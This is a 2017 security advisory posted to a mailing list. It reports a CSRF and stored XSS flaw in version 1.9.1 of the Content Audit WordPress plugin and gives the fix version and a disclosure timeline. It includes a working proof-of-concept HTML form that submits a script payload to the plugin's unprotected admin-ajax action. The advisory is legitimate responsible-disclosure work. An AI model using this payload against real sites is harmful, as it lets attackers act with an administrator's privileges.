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Subject: [FD] CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost anything an admin c
From: dxw Security <security () dxw ! com>
Date: 2017-09-26 17:36:53
Message-ID: 0ccb86498ae613d81a221b7e2e583057 () security ! dxw ! com
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Details
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Software: Content Audit
Version: 1.9.1
Homepage: https://wordpress.org/plugins/content-audit/
Advisory report: https://security.dxw.com/advisories/csrf-xss-content-audit/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
Description
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CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost anything an admin \
can
Vulnerability
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The plugin contains an admin_ajax action which is not protected with a nonce. One of the values \
submitted appears unescaped on the list of pages.
Proof of concept
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Install/activate the plugin
Make sure you have a post with ID=2 (or edit the HTML provided below)
Settings > Content Audit > select at least “Pages” for “Audited content types”
Visit a page containing the below HTML
Click submit
Visit http://localhost/wp-admin/edit.php?post_type=page to receive the XSS payload
<form method=\"POST\" \
action=\"http://localhost/wp-admin/admin-ajax.php?action=content_audit_save_bulk_edit\"> \
<input type=\"text\" name=\"post_ids[]\" value=\"2\"> <input type=\"text\" \
name=\"_content_audit_owner\" value=\"Elliot Alderson\"> <input type=\"text\" \
name=\"_content_audit_expiration_date\" value=\"2020-01-01\"> <input type=\"text\" \
name=\"_content_audit_notes\" value=\"<script>alert(1)</script>\"> <input \
type=\"submit\"> </form>
Mitigations
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Upgrade to version 1.9.2 or later.
Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: \
https://security.dxw.com/disclosure/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third \
party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your \
behalf.
This vulnerability will be published if we do not receive a response to this report with 14 \
days.
Timeline
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2017-08-21: Discovered
2017-09-08: Reported to vendor by email
2017-09-08: First response from vendor
2017-09-08: Vendor reports fixed in 1.9.2
2017-09-26: Advisory published
Discovered by dxw:
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Tom Adams
Please visit security.dxw.com for more information.
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